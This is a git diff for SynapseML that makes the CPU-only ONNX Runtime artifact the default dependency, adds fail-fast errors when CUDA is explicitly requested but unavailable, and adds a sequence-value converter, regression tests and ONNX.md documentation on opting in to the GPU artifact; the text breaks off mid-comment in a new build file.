s"com.microsoft.onnxruntime:onnxruntime (CPU-only) artifact, or CUDA/cuDNN aren't " + + s"installed on this node. Add com.microsoft.onnxruntime:onnxruntime_gpu:{version} " + + s"(excluding the transitive onnxruntime CPU artifact) and a matching CUDA/cuDNN runtime " + + s"for GPU acceleration, or set deviceType=CPU to run on CPU intentionally." + + private def autoFallbackProviderFailedMessage(gpuDeviceId: Option[Int], exp: OrtException): String = + s"GPU device is found on executor nodes with id ${gpuDeviceId.get}, " + + s"but adding CUDA support failed with error code ${exp.getCode}. Most likely the ONNX " + + s"runtime supplied to the cluster is the default com.microsoft.onnxruntime:onnxruntime " + + s"(CPU-only) artifact, or CUDA/cuDNN aren't installed on this node. Add " + + s"com.microsoft.onnxruntime:onnxruntime_gpu:{version} (excluding the transitive onnxruntime " + + s"CPU artifact) and a matching CUDA/cuDNN runtime for GPU acceleration. Falling back to CPU. " + + s"Exception details: ${exp.toString}" + private[onnx] def createOrtSession(modelContent: Array[Byte], ortEnv: OrtEnvironment, optLevel: OptLevel = OptLevel.ALL_OPT, - gpuDeviceId: Option[Int] = None): OrtSession = { - val options = new SessionOptions() - - try { - gpuDeviceId.foreach(options.addCUDA) - } catch { - case exp: OrtException if exp.getCode == OrtErrorCode.ORT_INVALID_ARGUMENT => - val err = s"GPU device is found on executor nodes with id ${gpuDeviceId.get}, " + - s"but adding CUDA support failed. Most likely the ONNX runtime supplied to the cluster " + - s"does not support GPU. Please install com.microsoft.onnxruntime:onnxruntime_gpu:{version} " + - s"instead for optimal performance. Exception details: ${exp.toString}" - logError(err) + gpuDeviceId: Option[Int] = None, + explicitCudaRequested: Boolean = false): OrtSession = { + // deviceType=CUDA is an explicit request for GPU acceleration. If Spark never assigned a "gpu" + // resource to this executor/task, gpuDeviceId is None and addCUDA below would simply never be + // attempted -- silently handing back a working CPU session with no error at all. That is the same + // "silently broken GPU" failure mode this change must not reintroduce, so fail before creating any + // session rather than let CPU inference proceed unannounced. + if (explicitCudaRequested && gpuDeviceId.isEmpty) { + throw new IllegalStateException(noGpuResourceAssignedMessage) } - options.setOptimizationLevel(optLevel) - ortEnv.createSession(modelContent, options) + // SessionOptions owns a native handle that ONNX Runtime's own examples close via try-with-resources + // right after createSession returns: the session copies what it needs from options during + // construction and never needs the options object again, so closing it afterward is safe on every + // path. Use this file's established using(...) resource-cleanup pattern (see applyModel below) so + // SessionOptions is closed whether we fall through to a normal/auto-fallback session, or throw the + // explicit-CUDA fail-fast error -- but never before createSession has actually consumed it. + using(new SessionOptions()) { options => + try { + gpuDeviceId.foreach(options.addCUDA) + } catch { + // A "gpu" resource was assigned (gpuDeviceId is defined) but adding CUDA support still failed. + // Silently continuing on CPU here would produce a success-shaped result while hiding a severe, + // hard-to-notice performance regression -- exactly the "silently broken GPU" failure mode this + // dependency change must not reintroduce. Fail fast with an actionable error instead. There is + // currently no parameter to opt in to a graceful CPU fallback for an explicit CUDA request; add + // one deliberately before relaxing this if that behavior is ever needed -- do not silently + // reinstate it here. + case exp: OrtException if explicitCudaRequested => + throw new IllegalStateException(explicitCudaProviderFailedMessage(gpuDeviceId, exp), exp) + // deviceType was left unset (auto-detection): a "gpu" Spark resource was found, but CUDA isn't + // usable here. This wasn't an explicit ask for GPU, so log a clear, actionable error and + // continue on CPU rather than failing an otherwise-working job. + case exp: OrtException => + logError(autoFallbackProviderFailedMessage(gpuDeviceId, exp)) + } + + options.setOptimizationLevel(optLevel) + ortEnv.createSession(modelContent, options) + }.get } private[onnx] def selectGpuDevice(deviceType: Option[String]): Option[Int] = { @@ -86,7 +136,10 @@ object ONNXRuntime extends Logging { case (_, outputName) => val i = session.getOutputInfo.asScala.keysIterator.indexOf(outputName) val outputValue: OnnxValue = result.get(i) - mapOnnxValueToArray(outputValue) + outputValue.getInfo match { + case _: SequenceInfo => ONNXValueConverter.mapSequenceToArray(outputValue) + case _ => mapOnnxValueToArray(outputValue) + } }.toSeq }.get diff --git a/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXValueConverter.scala b/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXValueConverter.scala new file mode 100644 index 00000000000..5b3ab8578f6 --- /dev/null +++ b/deep-learning/src/main/scala/com/microsoft/azure/synapse/ml/onnx/ONNXValueConverter.scala @@ -0,0 +1,68 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.onnx + +import ai.onnxruntime.OnnxValue + +private[onnx] object ONNXValueConverter { + + /** + * Eagerly copies a sequence to JVM values and closes every child handle returned by ONNX Runtime. + * The caller remains responsible for closing the outer value through its owning OrtSession.Result. + */ + def mapSequenceToArray(value: OnnxValue): Seq[Any] = { + value.getValue match { + case values: java.util.List[_] => unwrapList(values) + case other => + val valueType = Option(other).map(_.getClass.getName).getOrElse("null") + throw new IllegalArgumentException(s"Expected an ONNX sequence value, but found $valueType") + } + } + + private def unwrapValue(value: Any): Any = value match { + case values: java.util.List[_] => unwrapList(values) + case map: java.util.Map[_, _] => unwrapMap(map) + case other => other + } + + private def unwrapOnnxValue(value: OnnxValue): Any = unwrapValue(value.getValue) + + private def unwrapList(values: java.util.List[_]): Vector[Any] = { + val elements = values.toArray + val closeables = elements.collect { case value: OnnxValue => value } + + try { + elements.iterator.map { + case value: OnnxValue => unwrapOnnxValue(value) + case other => unwrapValue(other) + }.toVector + } finally { + closeables.foreach(_.close()) + } + } + + private def unwrapMap(map: java.util.Map[_, _]): Map[Any, Any] = { + val entries = map.entrySet().toArray.iterator.map { + case entry: java.util.Map.Entry[_, _] => entry.getKey -> entry.getValue + }.toVector + val closeables = entries.iterator.flatMap { + case (key, value) => Iterator(key, value).collect { case onnxValue: OnnxValue => onnxValue } + }.toVector + + try { + entries.iterator.map { + case (key: OnnxValue, value: OnnxValue) => + unwrapOnnxValue(key) -> unwrapOnnxValue(value) + case (key: OnnxValue, value) => + unwrapOnnxValue(key) -> unwrapValue(value) + case (key, value: OnnxValue) => + unwrapValue(key) -> unwrapOnnxValue(value) + case (key, value) => + unwrapValue(key) -> unwrapValue(value) + }.toMap + } finally { + closeables.foreach(_.close()) + } + } +} diff --git a/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModelSuite.scala b/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModelSuite.scala index 4fee100465e..f1ffe98ea65 100644 --- a/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModelSuite.scala +++ b/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXModelSuite.scala @@ -3,9 +3,10 @@ package com.microsoft.azure.synapse.ml.onnx +import ai.onnxruntime.OrtEnvironment import breeze.linalg.{argmax, argtopk} import com.microsoft.azure.synapse.ml.build.BuildInfo -import com.microsoft.azure.synapse.ml.core.env.FileUtilities +import com.microsoft.azure.synapse.ml.core.env.{FileUtilities, StreamUtilities} import com.microsoft.azure.synapse.ml.core.test.base.TestBase import com.microsoft.azure.synapse.ml.core.test.fuzzing.{TestObject, TransformerFuzzing} import com.microsoft.azure.synapse.ml.core.utils.BreezeUtils._ @@ -16,7 +17,7 @@ import org.apache.spark.SparkException import org.apache.spark.injections.UDFUtils import org.apache.spark.ml.image.ImageSchema import org.apache.spark.ml.linalg.{DenseVector, Vector, Vectors} -import org.apache.spark.ml.param.Param +import org.apache.spark.ml.param.{Param, ParamMap} import org.apache.spark.ml.util.MLReadable import org.apache.spark.sql.expressions.UserDefinedFunction import org.apache.spark.sql.functions._ @@ -128,6 +129,160 @@ class ONNXModelSuite extends TestBase assert(caught.getMessage.contains("IllegalArgumentException")) } + // Minimal dotted-version comparator (e.g. "1.17.3" vs "1.16.3"). Avoids hard-coding an exact ONNX + // Runtime version so the GH2417 regression check keeps passing across future confirmed upgrades. + private def versionAtLeast(actual: String, minimum: String): Boolean = { + def parts(v: String): Seq[Int] = v.split("\\.").map(_.takeWhile(_.isDigit)).map(s => if (s.isEmpty) 0 else s.toInt) + val (a, m) = (parts(actual), parts(minimum)) + Ordering.Iterable[Int].gteq(a.padTo(m.length, 0), m.padTo(a.length, 0)) + } + + test("ONNXModel loads upgraded runtime for local CPU inference (GH2417)") { + val runtimeVersion = StreamUtilities.using(OrtEnvironment.getEnvironment)(_.getVersion).get + // GH2417: ONNX Runtime 1.8.1 fails to load its natives for local Spark 3.5 inference (macOS/Linux/ + // Windows). 1.16.3 was the smallest version confirmed to fix it; guard against ever regressing below it. + assert(versionAtLeast(runtimeVersion, "1.16.3"), + s"Expected ONNX Runtime >= 1.16.3 to keep GH2417 fixed, but found $runtimeVersion") + + val predictions = onnxIris.copy(ParamMap.empty) + .setDeviceType("CPU") + .transform(testDfIrisFloat) + .select("prediction", "rawProbability") + .as[(Long, Map[Long, Float])] + .collect() + + assert(predictions.map(_._1).toSet == Set(0L, 1L, 2L)) + assert(predictions.forall(_._2.keySet == Set(0L, 1L, 2L))) + } + + test("ONNXRuntime.createOrtSession falls back to CPU with a clear log when CUDA is unavailable and was " + + "not explicitly requested (GH2417)") { + // Auto-detection (deviceType left unset): the default packaged dependency is the CPU-only, + // cross-platform `onnxruntime` artifact (no CUDA execution provider). A "gpu" resource was found, + // but this wasn't an explicit ask for GPU, so ONNXRuntime.createOrtSession should log a clear, + // actionable error naming onnxruntime_gpu and gracefully continue on CPU rather than fail the task. + val env = OrtEnvironment.getEnvironment + val session = ONNXRuntime.createOrtSession( + onnxIris.getModelPayload, env, gpuDeviceId = Some(0), explicitCudaRequested = false) + try { + assert(!session.getInputInfo.isEmpty) + } finally { + session.close() + } + } + + test("ONNXRuntime.createOrtSession fails fast before touching the provider when CUDA is explicitly " + + "requested but no Spark gpu resource was assigned (GH2417)") { + // gpuDeviceId=None here models a Spark task with no "gpu" resource assigned (the common case on a + // CPU-only cluster). Without this check, createOrtSession would never call addCUDA at all (there's + // no device id to add) and would silently hand back a working CPU session -- the same + // "silently broken GPU" failure mode this dependency change must not reintroduce. + val env = OrtEnvironment.getEnvironment + val caught = intercept[IllegalStateException] { + ONNXRuntime.createOrtSession( + onnxIris.getModelPayload, env, gpuDeviceId = None, explicitCudaRequested = true) + } + assert(caught.getMessage.contains("deviceType=CUDA was explicitly requested")) + assert(caught.getMessage.contains("no Spark \"gpu\" resource is assigned")) + } + + test("ONNXRuntime.createOrtSession fails fast with an actionable error when CUDA is explicitly " + + "requested but the provider is unavailable (GH2417)") { + // deviceType=CUDA is an explicit request for GPU acceleration. Silently continuing on CPU would be + // a success-shaped result that hides a severe, hard-to-notice performance regression -- the same + // "silently broken GPU" failure mode this dependency change must not reintroduce. There is no + // opt-in parameter to request a graceful CPU fallback for an explicit CUDA request, so this must + // throw a clear, actionable error rather than swallow it and return CPU results. + val env = OrtEnvironment.getEnvironment + val caught = intercept[IllegalStateException] { + ONNXRuntime.createOrtSession( + onnxIris.getModelPayload, env, gpuDeviceId = Some(0), explicitCudaRequested = true) + } + assert(caught.getMessage.contains("deviceType=CUDA was explicitly requested")) + assert(caught.getMessage.contains("onnxruntime_gpu")) + assert(caught.getCause != null) + } + + test("ONNXRuntime.createOrtSession closes SessionOptions without invalidating the returned session " + + "(GH2417)") { + // SessionOptions.close() runs (via the using(...) resource-cleanup pattern) right after + // ortEnv.createSession(...) returns. If that close happened too early -- or corrupted the session + // it had just been used to build -- the returned OrtSession would fail to actually run inference. + // Running real inference through it is the most direct observable proof the cleanup is correct. + val env = OrtEnvironment.getEnvironment + val session = ONNXRuntime.createOrtSession(onnxIris.getModelPayload, env, gpuDeviceId = None) + try { + val input = java.nio.FloatBuffer.wrap(Array(6.7f, 3.1f, 4.7f, 1.5f)) + val tensor = ai.onnxruntime.OnnxTensor.createTensor(env, input, Array(1L, 4L)) + try { + val result = session.run(java.util.Collections.singletonMap("float_input", tensor)) + try { + assert(result.size() > 0) + } finally { + result.close() + } + } finally { + tensor.close() + } + } finally { + session.close() + } + } + + test("ONNXRuntime.createOrtSession does not leak across repeated create/close cycles on any path " + + "(GH2417)") { + // Exercises all three createOrtSession outcomes (plain CPU, auto-fallback log-and-continue, and + // the explicit-CUDA fail-fast throw) repeatedly. SessionOptions is a local variable inside + // createOrtSession with no public isClosed() accessor to assert against directly (unlike OnnxValue + // in ORT 1.17+), so this loop is the practical, observable regression check available: if the + // using(...) refactor ever re-leaked SessionOptions, mishandled double-closing, or broke the + // fail-fast throw's cleanup ordering, repeated cycles are the most likely way to surface it. + val env = OrtEnvironment.getEnvironment + val payload = onnxIris.getModelPayload + for (_ <- 1 to 25) { + val cpuSession = ONNXRuntime.createOrtSession(payload, env, gpuDeviceId = None) + cpuSession.close() + + val fallbackSession = ONNXRuntime.createOrtSession( + payload, env, gpuDeviceId = Some(0), explicitCudaRequested = false) + fallbackSession.close() + + intercept[IllegalStateException] { + ONNXRuntime.createOrtSession(payload, env, gpuDeviceId = Some(0), explicitCudaRequested = true) + } + } + } + + // End-to-end: local test Spark sessions never assign a "gpu" TaskContext resource, so any explicit + // CUDA request here must hit the new "no GPU resource assigned" fail-fast path in + // ONNXRuntime.createOrtSession, exercised through the public setDeviceType API and normalization. + private def assertExplicitCudaFailsFastEndToEnd(requestedDeviceType: String): Unit = { + val caught = intercept[SparkException] { + onnxIris.copy(ParamMap.empty) + .setDeviceType(requestedDeviceType) + .transform(testDfIrisFloat) + .collect() + } + assert(caught.getMessage.contains("IllegalStateException")) + assert(caught.getMessage.contains("deviceType=CUDA was explicitly requested")) + assert(caught.getMessage.contains("no Spark \"gpu\" resource is assigned")) + } + + test("ONNXModel fails fast end-to-end when deviceType=CUDA is explicitly requested but no Spark gpu " + + "resource is assigned (GH2417)") { + assertExplicitCudaFailsFastEndToEnd("CUDA") + } + + test("ONNXModel fails fast end-to-end for a lower-case deviceType=\"cuda\" request (GH2417)") { + // The deviceType Param validator accepts any case (`x.toUpperCase()`), so a differently-cased but + // still-valid value must not silently bypass CUDA handling and fall through to CPU. + assertExplicitCudaFailsFastEndToEnd("cuda") + } + + test("ONNXModel fails fast end-to-end for a mixed-case deviceType=\"CuDa\" request (GH2417)") { + assertExplicitCudaFailsFastEndToEnd("CuDa") + } + test("ONNXModel can infer observations of matching input types") { val predicted = onnxIris.transform(testDfIrisFloat).as[(Seq[Float], Long, Map[Long, Float])].collect() diff --git a/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXRuntimeDependencySuite.scala b/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXRuntimeDependencySuite.scala new file mode 100644 index 00000000000..5acb27ac219 --- /dev/null +++ b/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXRuntimeDependencySuite.scala @@ -0,0 +1,96 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.onnx + +import com.microsoft.azure.synapse.ml.build.BuildInfo +import com.microsoft.azure.synapse.ml.core.env.FileUtilities +import org.scalatest.funsuite.AnyFunSuite + +/** + * GH2417: verifies the published dependency strategy for ONNX Runtime, independent of whatever version + * happens to be resolved on the test classpath (that runtime behavior is covered by ONNXModelSuite and + * ONNXRuntime's own tests). This reads the build definitions directly so a future edit that re-adds + * onnxruntime_gpu as a default/compile dependency -- reintroducing the ~300+MB, macOS-incompatible + * artifact for every user -- fails a fast, local test instead of only being caught by a live macOS run. + * + * A live "does this resolve from Maven Central" integration test isn't practical here: it would need + * network access and a version of SynapseML already published under the coordinate being tested, which + * doesn't exist for an unmerged change (the same reason VerifyPackageUtils.scala only checks coordinate + * *format*, not live resolution). Instead, the tests below regression-guard the documented opt-in + * coordinate/exclusion syntax in ONNX.md itself, and a separate scratch sbt project (not committed) was + * used to empirically confirm resolution behavior before writing that guidance -- see the PR description. + */ +class ONNXRuntimeDependencySuite extends AnyFunSuite { + + private val repoRoot: String = BuildInfo.baseDirectory.getParent + private val buildSbt = FileUtilities.readFile(FileUtilities.join(repoRoot, "build.sbt")) + private val onnxRuntimeDependencyScala = FileUtilities.readFile( + FileUtilities.join(repoRoot, "project", "OnnxRuntimeDependency.scala")) + private val onnxDoc = FileUtilities.readFile( + FileUtilities.join(repoRoot, "docs", "Explore Algorithms", "Deep Learning", "ONNX.md")) + + private val deepLearningBlock: String = { + val start = buildSbt.indexOf("lazy val deepLearning") + require(start >= 0, "Could not find the deepLearning project definition in build.sbt") + val nextProject = buildSbt.indexOf("\nlazy val ", start + 1) + buildSbt.substring(start, if (nextProject >= 0) nextProject else buildSbt.length) + } + + test("deep-learning declares the CPU-only, cross-platform onnxruntime artifact as its default dependency") { + assert(deepLearningBlock.contains(""""com.microsoft.onnxruntime" % "onnxruntime""""), + "build.sbt must declare com.microsoft.onnxruntime:onnxruntime (CPU-only, cross-platform, " + + "including macOS) as the default deep-learning dependency so ONNXModel works out of the box " + + "on macOS/Linux/Windows.") + } + + test("deep-learning does not force the GPU-only onnxruntime_gpu artifact on every user by default") { + assert(!deepLearningBlock.contains(""""onnxruntime_gpu""""), + "onnxruntime_gpu (Linux/Windows-only CUDA build, ~300+MB) must not be a default/compile " + + "dependency of synapseml-deep-learning; it should remain an explicit, documented opt-in " + + "(see docs/Explore Algorithms/Deep Learning/ONNX.md) so it is never forced on macOS or " + + "CPU-only users.") + } + + test("the shared ONNX Runtime version is pinned at or above the confirmed GH2417 fix version") { + val versionPattern = """val Version = "([\d.]+)"""".r + val version = versionPattern.findFirstMatchIn(onnxRuntimeDependencyScala).map(_.group(1)) + .getOrElse(fail("Could not find `val Version = \"...\"` in project/OnnxRuntimeDependency.scala")) + + def parts(v: String): Seq[Int] = v.split("\\.").map(_.toInt) + assert(Ordering.Iterable[Int].gteq(parts(version), parts("1.16.3")), + s"Expected the ONNX Runtime version pinned in project/OnnxRuntimeDependency.scala ($version) " + + s"to stay at or above 1.16.3, the smallest version confirmed to fix GH2417.") + } + + test("ONNX.md documents the Spark --packages/--exclude-packages exclusion syntax for the GPU opt-in") { + assert(onnxDoc.contains("--exclude-packages") && onnxDoc.contains("spark.jars.excludes"), + "ONNX.md must document both the spark-submit CLI form (--packages/--exclude-packages) and the " + + "equivalent Spark conf keys (spark.jars.packages/spark.jars.excludes) for excluding the " + + "transitive CPU-only onnxruntime artifact when opting in to onnxruntime_gpu.") + assert(onnxDoc.contains("com.microsoft.onnxruntime:onnxruntime_gpu"), + "ONNX.md must name the exact onnxruntime_gpu Maven coordinate for the --packages/spark.jars." + + "packages example.") + } + + test("ONNX.md documents the Databricks Maven library Exclusions field on the correct entry") { + assert(onnxDoc.contains("\"exclusions\""), + "ONNX.md must show the Databricks Maven library JSON \"exclusions\" field for the GPU opt-in.") + assert(onnxDoc.contains("Exclusions"), + "ONNX.md must name the Databricks UI \"Exclusions\" field for the GPU opt-in.") + // The exclusion must be documented on the SynapseML entry (the one that actually depends + // transitively on the CPU-only onnxruntime), not on the onnxruntime_gpu entry -- an exclusion on + // onnxruntime_gpu would be a no-op since it never depends on the plain onnxruntime artifact. + assert(onnxDoc.contains("not on the onnxruntime_gpu entry") || + onnxDoc.contains("not on `onnxruntime_gpu`"), + "ONNX.md must call out that the Databricks Exclusions field belongs on the SynapseML library " + + "entry, not the onnxruntime_gpu entry, since Databricks resolves each Maven library's " + + "dependency tree independently.") + } + + test("ONNX.md states the exactly-one-ai.onnxruntime-jar invariant for the GPU opt-in") { + assert(onnxDoc.contains("exactly one `ai.onnxruntime` jar"), + "ONNX.md must state that exactly one ai.onnxruntime jar must be present after opting in to " + + "onnxruntime_gpu, so users have a concrete way to verify their exclusion actually worked.") + } +} diff --git a/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXValueConverterSuite.scala b/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXValueConverterSuite.scala new file mode 100644 index 00000000000..f559166bf68 --- /dev/null +++ b/deep-learning/src/test/scala/com/microsoft/azure/synapse/ml/onnx/ONNXValueConverterSuite.scala @@ -0,0 +1,46 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.onnx + +import ai.onnxruntime.{OnnxValue, ValueInfo} +import org.scalatest.funsuite.AnyFunSuite + +class ONNXValueConverterSuite extends AnyFunSuite { + + test("ONNX sequence conversion recursively materializes and closes nested values") { + val leaf = new StubOnnxValue(java.lang.Long.valueOf(42L)) + val nestedValues = new java.util.ArrayList[OnnxValue]() + nestedValues.add(leaf) + val nestedSequence = new StubOnnxValue(nestedValues) + val outerValues = new java.util.ArrayList[OnnxValue]() + outerValues.add(nestedSequence) + val outerSequence = new StubOnnxValue(outerValues) + + val converted = ONNXValueConverter.mapSequenceToArray(outerSequence) + + assert(converted == Vector(Vector(42L))) + assert(nestedSequence.closed) + assert(leaf.closed) + assert(!outerSequence.closed) + } + + private object StubValueInfo extends ValueInfo + + private class StubOnnxValue(rawValue: AnyRef) extends OnnxValue { + var closed: Boolean = false + + override def getValue: AnyRef = rawValue + + override def getInfo: ValueInfo = StubValueInfo + + override def getType: OnnxValue.OnnxValueType = OnnxValue.OnnxValueType.ONNX_TYPE_SEQUENCE + + // ONNX Runtime 1.17 added OnnxValue.isClosed as an abstract method (GH2417 runtime upgrade). + override def isClosed: Boolean = closed + + override def close(): Unit = { + closed = true + } + } +} diff --git a/docs/Explore Algorithms/Deep Learning/ONNX.md b/docs/Explore Algorithms/Deep Learning/ONNX.md index 5d45e386794..d89aae11be0 100644 --- a/docs/Explore Algorithms/Deep Learning/ONNX.md +++ b/docs/Explore Algorithms/Deep Learning/ONNX.md @@ -13,6 +13,136 @@ description: Learn how to use the ONNX model transformer to run inference for an SynapseML now includes a Spark transformer to bring a trained ONNX model to Apache Spark, so you can run inference on your data with Spark's large-scale data processing power. +## Runtime selection: CPU by default, CUDA as an explicit opt-in + +SynapseML depends on `com.microsoft.onnxruntime:onnxruntime` (the CPU-only ONNX Runtime artifact) by +default. It bundles native libraries for Windows x64, Linux x64/aarch64, and **macOS x64/aarch64**, so +`ONNXModel` works out of the box for CPU inference on every platform SynapseML supports, including local +Spark on a Mac. + +CUDA/GPU acceleration is **not** bundled by default: + +- NVIDIA's CUDA execution provider only exists for Linux and Windows -- it has no macOS build, so + shipping it by default would still leave macOS broken. +- The artifact that adds it, `com.microsoft.onnxruntime:onnxruntime_gpu`, is roughly 300+ MB (mostly the + embedded CUDA/TensorRT provider binaries and Windows debug symbols), and forcing that onto every + CPU-only and macOS user just to support Linux/Windows GPU clusters isn't reasonable. + +To opt in to GPU acceleration on a Linux or Windows cluster with a matching NVIDIA GPU and CUDA/cuDNN +installed, add `com.microsoft.onnxruntime:onnxruntime_gpu` at the same version SynapseML pins in +`project/OnnxRuntimeDependency.scala`, and exclude the transitive CPU-only `onnxruntime` artifact that +comes from `synapseml-deep-learning` (or the aggregate `synapseml` package) so you don't end up with two +copies of the `ai.onnxruntime` classes on your classpath. **The exclusion must be attached to the +SynapseML dependency itself** (the one that transitively depends on `onnxruntime`), not to the +`onnxruntime_gpu` dependency (which never depends on the CPU-only artifact, so excluding anything from it +would be a no-op). After installing, verify that exactly one `ai.onnxruntime` jar is present -- if you +ever see both `onnxruntime-.jar` and `onnxruntime_gpu-.jar` on the same classpath, the +exclusion is missing or attached to the wrong dependency. + +- **sbt** (per-dependency exclusion, attached to the SynapseML dependency): + + ```scala + libraryDependencies ++= Seq( + ("com.microsoft.azure" %% "synapseml-deep-learning" % "") + .exclude("com.microsoft.onnxruntime", "onnxruntime"), + "com.microsoft.onnxruntime" % "onnxruntime_gpu" % "" + ) + ``` + + (A project-wide `excludeDependencies += ExclusionRule("com.microsoft.onnxruntime", "onnxruntime")` + works too and is simpler if nothing else in your build needs the CPU-only artifact.) + +- **Maven**: add an `` for `com.microsoft.onnxruntime:onnxruntime` to your + `synapseml-deep-learning` (or `synapseml`) ``, and add `onnxruntime_gpu` as a separate, + unexcluded dependency: + + ```xml + + com.microsoft.azure + synapseml-deep-learning_2.12 + ... + + + com.microsoft.onnxruntime + onnxruntime + + + + + com.microsoft.onnxruntime + onnxruntime_gpu + 1.17.3 + + ``` + +- **spark-submit / spark-shell / pyspark (`--packages`)**: pass the SynapseML and `onnxruntime_gpu` + coordinates via `--packages`, and exclude the CPU-only artifact via the separate `--exclude-packages` + flag (format `groupId:artifactId`, no version): + + ```bash + spark-submit \ + --packages com.microsoft.azure:synapseml_2.12:,com.microsoft.onnxruntime:onnxruntime_gpu:1.17.3 \ + --exclude-packages com.microsoft.onnxruntime:onnxruntime \ + your_script.py + ``` + + The equivalent Spark configuration keys (for a `SparkConf`/notebook `%%configure` cell instead of CLI + flags) are `spark.jars.packages` and `spark.jars.excludes`: + + ``` + spark.jars.packages=com.microsoft.azure:synapseml_2.12:,com.microsoft.onnxruntime:onnxruntime_gpu:1.17.3 + spark.jars.excludes=com.microsoft.onnxruntime:onnxruntime + ``` + +- **Databricks cluster library UI/API**: install the SynapseML package and `onnxruntime_gpu` as **two + separate Maven libraries**, and set the library's **Exclusions** field (format `groupId:artifactId`) on + the **SynapseML library entry**, not on `onnxruntime_gpu`: + + ```json + [ + { + "maven": { + "coordinates": "com.microsoft.azure:synapseml-deep-learning_2.12:", + "exclusions": ["com.microsoft.onnxruntime:onnxruntime"] + } + }, + { "maven": { "coordinates": "com.microsoft.onnxruntime:onnxruntime_gpu:1.17.3" } } + ] + ``` + + Each Databricks Maven library entry resolves its own dependency tree independently, so an exclusion + set on the `onnxruntime_gpu` entry has no effect on what the SynapseML entry pulls in -- it must be on + the entry that actually depends on the CPU-only artifact. + +### What happens if CUDA is requested but unavailable + +`deviceType` is matched case-insensitively (`"CUDA"`, `"cuda"`, and `"CuDa"` are all treated the same), so +the behavior below cannot be bypassed by casing. It differs depending on whether you explicitly asked for +GPU acceleration: + +- **`deviceType` explicitly set to `CUDA`:** `ONNXModel` **fails the task** with a clear, actionable error + rather than silently falling back to CPU, in either of these cases: + - No Spark `gpu` resource is assigned to the executor/task (the common case on a CPU-only cluster) -- + there is no GPU device id to use at all, so the error explains how to configure Spark's GPU resource + allocation (or to set `deviceType` to `CPU` instead). + - A `gpu` resource *is* assigned, but the CUDA execution provider still isn't usable (for example, only + the default CPU-only artifact is installed, or CUDA/cuDNN aren't installed on the node) -- the error + names the `onnxruntime_gpu` artifact to install. + + In both cases, silently continuing on CPU would produce a success-shaped result that quietly hides a + severe performance regression, which is the same class of problem this dependency change is meant to + fix, not reintroduce. There is currently no parameter to opt in to a graceful CPU fallback for an + explicit CUDA request; set `deviceType` to `CPU` if you intend to run on CPU. +- **`deviceType` left unset (auto-detection):** if a `gpu` resource happens to be present but CUDA isn't + usable, `ONNXModel` logs a clear, actionable error (again naming `onnxruntime_gpu`) and continues on + CPU, since GPU was never explicitly requested in this case. If no `gpu` resource is present, CPU is + used with no error, since auto-detection found nothing to use. + +> **Note:** Real GPU acceleration (the `onnxruntime_gpu` artifact actually engaging the CUDA execution +> provider end-to-end on hardware such as an NVIDIA T4) is not covered by an automated CI test in this +> repository; only the CPU default, the explicit-CUDA fail-fast errors, and the auto-detect fallback are. +> Validate GPU throughput on real GPU hardware before relying on it in production. + ## ONNXHub Although you can use your own local model, many popular existing models are provided through the ONNXHub. You can use a model's ONNXHub name (for example "MNIST") and download the bytes of the model, and some metadata about the model. You can also list @@ -70,7 +200,7 @@ available models, optionally filtering by name or tags. | miniBatcher | Specify the MiniBatcher to use. | `FixedMiniBatchTransformer` with batch size 10 | | softMaxDict | A map between output DataFrame columns, where the value column will be computed from taking the softmax of the key column. If the 'rawPrediction' column contains logits outputs, then one can set softMaxDict to `Map("rawPrediction" -> "probability")` to obtain the probability outputs. | None | | argMaxDict | A map between output DataFrame columns, where the value column will be computed from taking the argmax of the key column. This parameter can be used to convert probability or logits output to the predicted label. | None | - | deviceType | Specify a device type the model inference runs on. Supported types are: CPU or CUDA. If not specified, auto detection will be used. | None | + | deviceType | Specify a device type the model inference runs on. Supported types are: CPU or CUDA. If not specified, auto detection will be used. CUDA requires the opt-in `onnxruntime_gpu` artifact; if explicitly set to CUDA and the CUDA provider is unavailable, transform **fails fast** rather than silently running on CPU -- see [Runtime selection](#runtime-selection-cpu-by-default-cuda-as-an-explicit-opt-in). | None | | optimizationLevel | Specify the [optimization level](https://onnxruntime.ai/docs/performance/model-optimizations/graph-optimizations.html#graph-optimization-levels) for the ONNX graph optimizations. Supported values are: `NO_OPT`, `BASIC_OPT`, `EXTENDED_OPT`, `ALL_OPT`. | `ALL_OPT` | 4. Call `transform` method to run inference on the input DataFrame. diff --git a/project/OnnxRuntimeDependency.scala b/project/OnnxRuntimeDependency.scala new file mode 100644 index 00000000000..ccfb2f02602 --- /dev/null +++ b/project/OnnxRuntimeDependency.scala @@ -0,0 +1,49 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +import sbt._ +import sbt.Keys._ + +/** + * Rewrites the known ONNX Runtime artifacts (`onnxruntime`, the default CPU-only artifact, and + * `onnxruntime_gpu`, the opt-in CUDA artifact) to a single shared version, as the final deep-learning + * project setting. Keeping the version separate lets the same change replay across Spark branches with + * different adjacent protobuf coordinates, and covers a branch that still declares `onnxruntime_gpu` on + * its own test classpath. + * + * Matching is restricted to `ManagedArtifactIds` (not just the `com.microsoft.onnxruntime` organization): + * a plain org-wide match would silently coerce the version of any future, unrelated artifact published + * under the same organization (for example one with its own independent release cadence) without anyone + * noticing. Any dependency declaration this setting actually changes -- or any unmanaged artifact under + * this organization it deliberately leaves untouched -- is logged so the override is never silent. + * + * GH2417: 1.8.1 fails to load its natives for local Spark 3.5 inference, and the GPU-only artifact 